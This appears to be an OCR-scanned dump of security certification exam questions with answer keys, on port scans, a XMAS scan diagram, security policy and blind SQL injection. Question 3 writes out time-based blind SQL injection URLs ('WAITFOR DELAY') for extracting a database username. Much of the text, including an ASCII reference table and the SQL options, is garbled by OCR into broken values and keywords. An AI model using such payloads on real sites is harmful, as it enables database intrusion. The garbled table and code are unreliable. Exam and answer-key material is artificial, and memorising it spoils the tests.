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QUESTION 1

Doug is conducting a port scan of a target network. He knows that his client target network has a web server and that
there is a mail server also which is up and running. Doug has been sweeping the network but has not been able to elicit
any response from the remote target.

Which of the following could be the most likely cause behind this lack of response? Select 4.

A. UDP is filtered by a gateway

B. The packet TTL value is too low and cannot reach the target

C. The host might be down

D. The destination network might be down

E. The TCP windows size does not match

F. ICMP is filtered by a gateway

Correct Answer: ABCF

QUESTION 2

What type of port scan is shown below?

Scan directed at open port:

Client Server
192.5.2.92:407% ———-—FIN/URZ/PEH-———-->192.5.2.110:23
182,.5,2.82: 4072 £———NO RESPONSE————— 162, 5. 2.110:23

Scan directed at closed port:

Client Server
10832..5.2, 02 42 ————FIN/URE/BESH-———>=182.5.2.110:23
182 . 5. B . 924078 d————= RET/ACK-—————— 1825211023

A. Idle Scan

B. Windows Scan
C. XMAS Scan
D. SYN Stealth Scan

Correct Answer: C
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QUESTION 3

Here is the ASCII Sheet.
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HEX BIN Symbal HTML HTML Deascription

Number Name

32 40 20 100000 S#37, Space

33 41 21 100001 A#33; Exclamation mark

3 42 22 100010 " &#34, | &guot, |Double guotes {or speech
marks)

35 43 23 100011 # S35, Nurmber

2B 44 24 100100 $ 36, Digllar

a7 45 25 100101 % 8437, Procenttecken

38 48 28 100110 & S#38, | Ramp, |Ampersand

39 47 27 100111 ! 8#38; Single guote

40 50 28 101000 ( a#40, Cpen parenthesis (or open
bracket)

41 1 29 101001 ) G, Close parenthesis (or close
bracket)

42 52 28 101010 Lo a4l Asterisk

43 52 28 101011 + 4 Plus

44 54 2C 101100 . a#44 Comma

45 55 20 1ot1ol - B#A5, Hyphen

4B 56 2E 101110 B4 6; Period, dat or full stop

47 &7 2F 1011 i 4T, Slash ar divide

48 60 30 110000 0 SR, Zero

48 g1 31 110001 1 A48, One

50 62 32 110010 2 a#50, Two

51 63 23 110011 3 S#51, Three

52 64 M 110100 4 S#52, Four

53 85 35 11010t 5 S#53, Five

54 BE 36 110110 B Bth4, Six

85 B7 a1 110111 7 B#55; Sevan

56 i1l 38 111000 a A#E0, Eight

57 71 39 11oot 2 A#5T, Nine

58 72 34 oo - E#EH, Calan

58 73 38 111011 : E#58 Semicolon

B0 T4 ac 111100 < B0, &lt;  [Lessthan (or open angled
bracket)

81 75 D 111101 = S#61; Equals

62 T8 3E [RRRRLT > S#B2; &gt;  |Greater than (or close angled
bracket)

B3 77 3F 1t 7 &#63, Question miark

B4 100 40 1000000 @ Edha; At symbol

5] 101 41 1000001 A E#65, Uppercase A

66 102 42 1000010 B E#66, Uppercase B

B7 103 43 1000011 (% S#BT, Uppercase C

BB 104 44 1000100 8] E#60, Uppercase D

] 105 45 [wo0i01] E &#EE, Uppercase £

70 106 48 1000110 F 8#70; Uppercase F

71 107 47 [1000111 G 2471, Uppercase G

72 110 48 1001000 H S#72; Uppercase H

73 111 49 1001001 | BH#TI; Uppercase |

74 112 4A 1001010 Jd S#74, Uppercase J

75 113 48 1001011 K B#TH, Uppercase K

76 114 4C_ |1001100 L S#76; Uppercase L

77 115 40 1001101 M SH#TT, Uppercase M

78 118 4 1001110 ] S#78; Uppercase N

78 117 4F 100111 o #78, Uppercase O

B0 120 50 1010000 P S#E0; Uppercase P

B1 21 a1 1010001 Q 81, Uppercase O

B2 122 52 1010010 R &#82, Uppercase R

a3 123 53 |10010011 S S#03,; Uppercase S

B4 124 24 1010100 T 884, Uppercase T

a5 125 55 |10 8] S#85; Uppercase U

86 128 £6 1010110 V. S#06; Uppercase V

87 127 &7 1010111 W E#8T, Uppercase W

8B 130 £8 11011000 X S£80, Uppercase X

83 3 59 1011001 L S#5Y, Uppercase Y

a0 132 SA 11011010 Z &80, Uppercase 7

a1 133 5B |1011011 [ G581, Opening bracket

92 134 5C 1011100 4 E#82, Backslash

83 135 50 101110 1 A3 Closing bracket

04 136 5E 1011110 A S#04, Caret - circumflex

85 137 5F |11 B#085, Underscare

a6 140 B0 1100000 b E#06; Grave accent

g7 141 61 1100001 a 8497, Lowercase 3

98 142 B2 11100010 b B#08, Lowercase b

a8 143 B3 1100011 C 889 Lowercase c

100 144 B84 |1100100 d 2100, Lowercase d

101 145 65 [1100101 e &dt101, Lowercase e

102 146 66 1100110 f: &a102; Lowercase f

103 147 67 |1100111 g 2103, Lowercase g

104 150 68 [1101000] h Bt104; Lowercase h

105 151 B9 |1101001 i &a#105; Lowercase |

108 152 BA 1101010 i 22108, Lowercase |

17 153 BB (1101011 k &2107. Lowercase k

108 154 BC__ |1101100 | Aa108, Lowercase |

104 155 6D [1101101 m &#109 Lowercase m

114 158 6E  [1101110 n &2110, Lowercase n

111 147 oF 1101111 o B#111; Lowercase o

112 160 70 |1110000 p 2112, Lowercase p

113 161 71 1110001 q 82113, Lowercase g

114 162 72 1110010 r Aat114, Lowercaser
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You want to guess the DBO username juggyboy (8 characters) using Blind SQL Injection technique. What is the correct
syntax?

A, http:// v, jspringfield, com/page . aspx?ig=l; IF (ASCII(lower [substring(({USER)},1,1))}= 106) WAITFCR DELAY
‘00:00:10°0

hetp: [ vaas, yspr ingfield. com/page . aspx?id=1; IF (ASCII(lower|substring((USER),1,1})}= 11T} WAITFOR DELAY
‘00:00:10'0

http: [ /vame. Japringfield. com/page. aspxtid=l; IF (ASCII(lower|(subskzing((WSER),1,1))}=103) WAITEGR DELAY
‘00:00:10°0

hetpe//vaae, japringfield. com/page . aspx2id=1; IF [ASCII(lower (substring((USER},1,1))}=103] WAITFOR DELAY
'00:00:10°0

http: /s, yspringfield. com/page . aspu2id=l; IF (ASCII{lower (substcing( (USER),1,1))}=121) WAITFOR DELAY
‘00:00:10'0

http: /e, Japringfield. com/page . aspu?id=l; IF (ASCII|lower [substring((USER),1,1)))=98) WAITPOR DELAY
'00:00:10'0

httpr//vaae, Japringfield, com/page .aspx?id=l; IP (ASCII({lower{substring((USER),1,1})}=111) WAITPOR DELAY
'00:00:10°0

hetp: [/ uane, yspringfield, com/page . aspx2id=1; IF [ASCII({lower (substring((VSER),1,1))}=121) WAITFOR DELAY
'00:00:10" -~

B  http://fwa jspringfield.com/page.aspx?ad=1; IF (ASCII(lower (substring((USER),1,1}})=
134,156,111,136,186,145,144,188) WAITFOR DELAY '00:00:10'0

C. hetp://ueas.ispringfield. com/page. aapxtid=1; IF (ASCII|lower (substcing((USER),1,1)))= 144} WAITFOR DELAY
'00:00:10'0

http:/ /v Jopringfield. com/page. aspx2id=l; IF (ASCII{lower (substringl{USER),1,1)}}= 123} WAITFOR DELAY
'00:00:10'0

http:/ S, 1sprangfield. com/page. aspr2ad=1; IF [ASCII(lower (substring((USER),1,1)))=156} WAITFOR DELAY
'00:00:10°0

http: /S, Jspringfield. com/page. aapytad=1; IF (ASCII(losesc (substring((USER),1,1)))=187) WAITFOR DELAY
'00:00:10'0

kttp://emns, 13pringfield. com/page. aspx?id=1; IP (ASCIT(lower {substring((USERF,1,111}=199) WAITPOR DELAY
'00:00:10'0

hetp://vam, Jopringfield. com/page. aapr?id=1l; IF (ASCII(lower (substeing((U3ER),1,1)))=133) WAITFOR DELAY
'00:00:10'0

http://veas. springfield. com/page. aspx71d=1; 1P (ASCII(lomer (substring((USER),1,1)))1=111) WAITFOR DELAY
'00:00:10'0

http:/ /s, Japringfield. com/page.aspx?id=1; IF (ASCII[lower (substrirg((USER),1,1)))=122) WAITPOR DELAY
'00:00:10'—

0. http:/ /v, jepringfield.com/page.eapx?id=1; IF (ASCII{lower (substring((USER},1,1)})= j,uw.g.g9.¥b,o, 7} WAITFOR
DELAY '00:00:10'0

A. Option A
B. Option B
C. Option C
D. Option D

Correct Answer: A

QUESTION 4
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A security analyst is performing an audit on the network to determine if there are any deviations from the security
policies in place. The analyst discovers that a user from the IT department had a dial-out modem installed.

Which security policy must the security analyst check to see if dial-out modems are allowed?
A. Firewall-management policy

B. Acceptable-use policy

C. Remote-access policy

D. Permissive policy

Correct Answer: C

QUESTION 5

To see how some of the hosts on your network react, Winston sends out SYN packets to an IP range. A number of IPs
respond with a SYN/ACK response. Before the connection is established he sends RST packets to those hosts to stop
the session. Winston has done this to see how his intrusion detection system will log the traffic.

What type of scan is Winston attempting here?

A. Winston is attempting to find live hosts on your company\\'s network by using an XMAS scan.

B. He is utilizing a SYN scan to find live hosts that are listening on your network.

C. This type of scan he is using is called a NULL scan.

D. He is using a half-open scan to find live hosts on your network.

Correct Answer: D
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